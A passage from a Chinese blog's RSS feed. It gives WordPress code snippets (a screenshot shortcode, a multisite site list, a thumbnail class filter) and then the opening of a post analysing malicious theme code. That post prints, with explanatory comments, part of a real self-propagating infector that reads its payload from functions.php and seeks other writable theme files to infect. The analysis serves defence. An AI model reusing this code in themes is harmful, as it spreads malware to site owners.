&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'&lt;div class=&quot;browsershot mshot&quot;&gt;&lt;a href=&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$url</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$image</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/a&gt;&lt;/div&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #000000; font-weight: bold;">function</span> bm_mshot <span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$width</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">250</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">'http://s.wordpress.com/mshots/v1/'</span> <span style="color: #339933;">.</span> <a href="http://www.php.net/urlencode"><span style="color: #990000;">urlencode</span></a><span style="color: #009900;">&#40;</span>clean_url<span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'?w='</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$width</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
<br />
add_shortcode<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'browsershot'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'bm_sc_mshot'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>使用方法，在日志中写上如：</p>
<pre>
[browsershot url="http://ihacklog.com" width="荒野无灯weblog"]
</pre>
<p>生成的效果图：<br />
<a href="http://static.ihacklog.com/wp-files/2012/01/http-ihacklog-shot.jpg" class="tinybox2"  onclick="TINY.box.show({image:this.href,boxid:'frameless',animate:true,fixed:false});return false;"  title="Click to enlarge（点击查看大图）" ><img src="http://static.ihacklog.com/wp-files/2012/01/http-ihacklog-shot.jpg" alt="" title="http-ihacklog-shot" width="500" height="375" class="alignnone size-full wp-image-5268" /> </a></p>
<hr />
<pre class='smooth'>

http://s.wordpress.com/mshots/v1/http%3A%2F%2Fihacklog.com?w=500
</pre>
<h3>4.列出网络中的博客（适用于WP MU模式）</h3>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> wp_list_sites<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$expires</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">7200</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #339933;">!</span>is_multisite<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// Because the get_blog_list() function is currently flagged as deprecated</span><br />
&nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// due to the potential for high consumption of resources, we'll use</span><br />
&nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// $wpdb to roll out our own SQL query instead. Because the query can be</span><br />
&nbsp; &nbsp;<span style="color: #666666; font-style: italic;">// memory-intensive, we'll store the results using the Transients API</span><br />
&nbsp; &nbsp;<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> <span style="color: #009900; font-weight: bold;">false</span> <span style="color: #339933;">===</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$site_list</span> <span style="color: #339933;">=</span> get_transient<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'multisite_site_list'</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$site_list</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get_results</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">prepare</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SELECT * FROM wp_blogs ORDER BY blog_id'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">// Set the Transient cache to expire every two hours</span><br />
&nbsp; &nbsp; &nbsp; set_site_transient<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'multisite_site_list'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$site_list</span><span style="color: #339933;">,</span> <span style="color: #000088;">$expires</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #000088;">$current_site_url</span> <span style="color: #339933;">=</span> get_site_url<span style="color: #009900;">&#40;</span> get_current_blog_id<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #000088;">$html</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'<br />
&lt;ul id=&quot;network-menu&quot;&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span> <span style="color: #000088;">$site_list</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$site</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; switch_to_blog<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$site</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">blog_id</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$class</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span> home_url<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$current_site_url</span> <span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">' class=&quot;current-site-item&quot;'</span> <span style="color: #339933;">:</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$html</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'<br />
&lt;li id=&quot;site-'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$site</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">blog_id</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; '</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #339933;">.=</span><span style="color: #0000ff;">&quot;&quot;</span> <span style="color: #000088;">$class</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">&gt;&lt;</span>a href<span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;' . home_url() . '&quot;</span><span style="color: #339933;">&gt;</span><span style="color: #0000ff;">' . get_bloginfo('</span>name<span style="color: #0000ff;">') . '</span><span style="color: #339933;">&lt;/</span>a<span style="color: #339933;">&gt;&lt;/</span>li<span style="color: #339933;">&gt;</span><br />
<br />
<span style="color: #0000ff;">' . &quot;\n&quot;;<br />
&nbsp; &nbsp; &nbsp; restore_current_blog();<br />
&nbsp; &nbsp;}<br />
<br />
&nbsp; &nbsp;$html .= '</span><span style="color: #339933;">&lt;/</span>ul<span style="color: #339933;">&gt;</span><br />
<br />
<span style="color: #339933;">&lt;!--</span><span style="color: #666666; font-style: italic;">// end #network-menu --&gt;' . &quot;\n\n&quot;;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #b1b100;">return</span> <span style="color: #000088;">$html</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>调用：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #666666; font-style: italic;">// Multisite Network Menu</span><br />
<span style="color: #000088;">$network_menu</span> <span style="color: #339933;">=</span> wp_list_sites<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$network_menu</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span><br />
<span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&lt;div id=&quot;network-menu&quot;&gt;<br />
&nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$network_menu</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span><br />
&lt;/div&gt;<br />
<br />
&lt;!--// end #network-menu --&gt;<br />
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">endif</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<hr />
<h3>5.给有缩略图（thumbnail）的日志内容div添加一个css类选择器</h3>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> has_thumb_class<span style="color: #009900;">&#40;</span><span style="color: #000088;">$classes</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$post</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> has_post_thumbnail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">ID</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$classes</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'has_thumb'</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$classes</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'post_class'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'has_thumb_class'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>本文由荒野摘选和译自:<a href="http://ihacklog.com/l.php?url=http%3A%2F%2Fwww.catswhocode.com%2Fblog%2Fsuper-useful-wordpress-hacks-and-snippets" target="_blank">http://www.catswhocode.com/blog/super-useful-wordpress-hacks-and-snippets</a></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5267";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5267" title="Permanent Link to Super useful WordPress hacks and snippets" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5267</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年08月19日  //  <a href="http://ihacklog.com/php/habari/habari.html" title="Habari ?">Habari ?</a> (12)</li><li>2011年12月13日  //  <a href="http://ihacklog.com/php/wordpress/upgrade/upgrade-wordpress-and-plugins.html" title="今天忙了一下午，都是WP升级害的">今天忙了一下午，都是WP升级害的</a> (13)</li><li>2010年11月12日  //  <a href="http://ihacklog.com/software/tips/install-win7-via-harddisk.html" title="硬盘安装Win7[转]">硬盘安装Win7[转]</a> (8)</li><li>2008年02月21日  //  <a href="http://ihacklog.com/php/skills/php%e4%b8%87%e8%83%bd%e6%92%ad%e6%94%be%e5%99%a8.html" title="php万能播放器">php万能播放器</a> (0)</li><li>2011年07月13日  //  <a href="http://ihacklog.com/software/tips/opera-browser-tips.html" title="关于opera浏览器的一些tips">关于opera浏览器的一些tips</a> (8)</li><li>2010年03月3日  //  <a href="http://ihacklog.com/memory/music/xianjian-music.html" title="仙剑音乐">仙剑音乐</a> (4)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/wpskills/super-useful-wordpress-hacks-and-snippets.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>一段WordPress主题恶意代码分析（貌似很多人中招了）</title>
		<link>http://ihacklog.com/php/wordpress/theme/wordpress-theme-malicious-code-analysis.html</link>
		<comments>http://ihacklog.com/php/wordpress/theme/wordpress-theme-malicious-code-analysis.html#comments</comments>
		<pubDate>Mon, 02 Jan 2012 13:46:36 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[主题风格]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5265</guid>
		<description><![CDATA[雪落无声 这位朋友今天发了一个文件给我要我帮他看一下这是什么意思。 结果我看完后却发现这个是“坑爹”的恶意代码。先不说这个代码是干什么的，为什么“坑爹”。且一路分析来。。。 蓝冰说他也中了这个“恶意代码”，同时中招的还有z叔啦~~~ 我没有，哈哈 后来z叔说是帮人修改主题本地中招 z叔还特意把这个代码帖出来了,有兴趣的点击这里查看。 google了一下，貌似不只天朝人民中招了，JP也有人中招，见这里. 分析过程我都写在代码注释里了，如下： 123456789101112131415161718192021...]]></description>
			<content:encoded><![CDATA[<p>雪落无声 这位朋友今天发了一个文件给我要我帮他看一下这是什么意思。<br />
结果我看完后却发现这个是“坑爹”的恶意代码。先不说这个代码是干什么的，为什么“坑爹”。且一路分析来。。。<br />
蓝冰说他也中了这个“恶意代码”，同时中招的还有<a href="http://zww.me/archives/25361" target="_blank">z叔</a>啦~~~ <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_twisted.gif' alt=':twisted:' class='wp-smiley' />  我没有，哈哈<br />
后来z叔说是帮人修改主题本地中招 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_arrow.gif' alt=':arrow:' class='wp-smiley' /><br />
z叔还特意把这个代码帖出来了,有兴趣的点击<a href="http://im.zww.im/2010/12/malicious.html" target="_blank">这里</a>查看。<br />
google了一下，貌似不只天朝人民中招了，JP也有人中招，见<a href="http://www.kys-lab.com/ueda/wpblog/wordpress/wordpress%E7%84%A1%E6%96%99%E9%85%8D%E5%B8%83%E3%81%95%E3%82%8C%E3%81%A6%E3%81%84%E3%82%8B%E3%83%86%E3%83%BC%E3%83%9E%E3%81%AB%E6%80%AA%E3%81%97%E3%81%84%E3%82%B3%E3%83%BC%E3%83%89%E3%81%8C/214/" target="_blank">这里</a>.</p>
<p>分析过程我都写在代码注释里了，如下：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br />82<br />83<br />84<br />85<br />86<br />87<br />88<br />89<br />90<br />91<br />92<br />93<br />94<br />95<br />96<br />97<br />98<br />99<br />100<br />101<br />102<br />103<br />104<br />105<br />106<br />107<br />108<br />109<br />110<br />111<br />112<br />113<br />114<br />115<br />116<br />117<br />118<br />119<br />120<br />121<br />122<br />123<br />124<br />125<br />126<br />127<br />128<br />129<br />130<br />131<br />132<br />133<br />134<br />135<br />136<br />137<br />138<br />139<br />140<br />141<br />142<br />143<br />144<br />145<br />146<br />147<br />148<br />149<br />150<br />151<br />152<br />153<br />154<br />155<br />156<br />157<br />158<br />159<br />160<br />161<br />162<br />163<br />164<br />165<br />166<br />167<br />168<br />169<br />170<br />171<br />172<br />173<br />174<br />175<br />176<br />177<br />178<br />179<br />180<br />181<br />182<br />183<br />184<br />185<br />186<br />187<br />188<br />189<br />190<br />191<br />192<br />193<br />194<br />195<br />196<br />197<br />198<br />199<br />200<br />201<br />202<br />203<br />204<br />205<br />206<br />207<br />208<br />209<br />210<br />211<br />212<br />213<br />214<br />215<br />216<br />217<br />218<br />219<br />220<br />221<br />222<br />223<br />224<br />225<br />226<br />227<br />228<br />229<br />230<br />231<br />232<br />233<br />234<br />235<br />236<br />237<br />238<br />239<br />240<br />241<br />242<br />243<br />244<br />245<br />246<br />247<br />248<br />249<br />250<br />251<br />252<br />253<br />254<br />255<br />256<br />257<br />258<br />259<br />260<br />261<br />262<br />263<br />264<br />265<br />266<br />267<br />268<br />269<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #000000; font-weight: bold;">function</span> _verifyactivate_widgets<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//查找当前主题functions.php文件中最后一个 &lt;? 标记，从这个标记的位置开始，取得一直到文件尾的内容</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$widget</span><span style="color: #339933;">=</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strripos"><span style="color: #990000;">strripos</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;&lt;&quot;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;?&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$allowed</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//去除html和php标签，其实这一句是扯蛋。。。</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$output</span><span style="color: #339933;">=</span><a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$output</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowed</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$direst</span><span style="color: #339933;">=</span>_get_allwidgets_cont<span style="color: #009900;">&#40;</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/dirname"><span style="color: #990000;">dirname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/dirname"><span style="color: #990000;">dirname</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;themes&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">6</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_array"><span style="color: #990000;">is_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$direst</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$direst</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//如果主题functions.php文件可写</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_writable"><span style="color: #990000;">is_writable</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//特征码</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$ftion</span><span style="color: #339933;">=</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$widget</span><span style="color: #339933;">,</span><a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$widget</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$widget</span><span style="color: #339933;">,</span><a href="http://www.php.net/stripos"><span style="color: #990000;">stripos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$widget</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;_&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;(&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//取目标functions.php文件内容</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$cont</span><span style="color: #339933;">=</span><a href="http://www.php.net/file_get_contents"><span style="color: #990000;">file_get_contents</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$item</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #666666; font-style: italic;">//没找到特征码?OK,试图感染</span><br />
